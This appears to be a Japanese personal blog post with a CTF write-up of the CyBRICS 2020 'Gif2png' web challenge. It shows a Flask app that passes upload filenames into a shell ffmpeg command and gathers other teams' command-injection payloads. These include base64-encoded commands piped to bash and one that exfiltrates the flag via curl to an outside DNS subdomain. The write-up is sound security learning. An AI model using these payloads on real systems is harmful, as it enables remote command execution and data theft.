はまやんはまやんはまやん

hamayanhamayan's blog

Gif2png [CyBRICS CTF 2020]

CTFtime.org / CyBRICS CTF 2020 / Gif2png

Gif2png (Web, Easy, 149 pts)
Author: Alexander Menshchikov (@n0str)
The webdev department created another cool startup. Here you can convert any animated GIF to PNG images.
It's only left to figure out how to monetize it: gif2png-cybrics2020.ctf.su/
Sources are available
http://gif2png-cybrics2020.ctf.su/

まあ、パッと見て、
command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)
という感じなので、RCEっぽい。
でも結構深い所あるしなーと思ったけど、深い所にあるのもまたそれっぽいか

どういうフィルタがある?

if 'file' not in request.files:

ファイルが無いとだめ。まあ、これはいい

if file.filename == '':

ファイル名が無いとダメ

if not allowed_file(file.filename):

ALLOWED_EXTENSIONS = {'gif'}
def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

末尾が.gifであればいい。

if file.content_type != "image/gif":

fileのcontent_typeは"image/gif"。

if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:

[a-zA-Z0-9_\-. '\"\=\$\(\)\|]しか文字列は使えないのと、..が入ってるとダメ。

まあ、RCEできそうな感じはする。色々やってみるがダメ。

解説みた

サイトは閉じてしまったが、豊富な解説がある。
学びが多い。

色々なRCEコード

解説では色々な手段でRCEしてる。学びが多い。

  • writeup/cybrics_2020/gif2png at master · wetox-team/writeup
    • '$(cp main.py uploads$(pwd | cut -c1)GENERATED_UID$(pwd | cut -c1))'.gifペイロード
    • ffmpeg -i 'uploads/'$(cp main.py uploads$(pwd | cut -c1)GENERATED_UID$(pwd | cut -c1))'.gif' "uploads/uid/%03d.png"
    • なるほど$(pwd | cut -c1)をスラッシュ代わりに使えるのか!
  • CTFtime.org / CyBRICS CTF 2020 / Gif2png / Writeup
    • nosuchfilelol.gif' \"lol.png\" || grep ffLaG $(find $PWD -maxdepth 1 -type f -name main.py) | tee 'lulz.gifペイロード
    • ffmpeg -i 'uploads/nosuchfilelol.gif' "lol.png" || grep ffLaG $(find $PWD -maxdepth 1 -type f -name main.py) | tee 'lulz.gif' "uploads/{uid}/%03d.png"
      • ||を使うと前半がクラッシュしても、後半を動かしてくれるらしい(ほほう?)
      • $(find $PWD -maxdepth 1 -type f -name main.py)
        • $PWDでカレントディレクトリを指す
        • name.pyを探してくれる
      • teeは標準入力をファイル出力してくれる
        • 2つ出力先を書くとどっちも書きだしてくれるらしい
  • Cybrics CTF Writeup - 0x90skids
    • base64を使ってバイパスしている。なるほど
    • \' | echo \'{encoded}\' | base64 -d | bash | \'.gif
    • shellcode = "mkdir uploads/haxxxx && cp main.py uploads/haxxxx/main.py"base64エンコードして埋め込む
    • ffmpeg -i 'uploads/csictf.gif' | echo '{encoded}' | base64 -d | bash | '.gif' "uploads/uid/%03d.png"
    • 参照可能な所に移して、抜き取るわけね
  • CTF-Write-ups/CyBRICS CTF/Web/Gif2png at master · csivitu/CTF-Write-ups
    • csictf.gif' -vf drawtext=\"text=$(grep ffLaG main.py)\"'.gifが攻撃コード
    • ffmpeg -i 'uploads/csictf.gif' -vf drawtext="text=$(grep ffLaG main.py)"'.gif' "uploads/uid/%03d.png"
  • nullarmor | cyBRICS CTF 2020 - Gif2png
    • flag=$(cat main.py|grep -wo cybrics{.*|base64|tr -d '=');curl $flag.a0325542a59398d0bda8.d.zhack.caこれをbase64にして動かす
    • ペイロード nullarmor'||echo ZmxhZz0kKGNhdCBtYWluLnB5fGdyZXAgLXdvIGN5YnJpY3N7Lip8YmFzZTY0fHRyIC1kICc9Jyk7Y3VybCAkZmxhZy5iNDQ1YzMwODAxYTg4OTRhMzc0Ny5kLnpoYWNrLmNh|base64 -d|sh||'.gif
    • DNSサブドメインに入れて送るとは初めて見た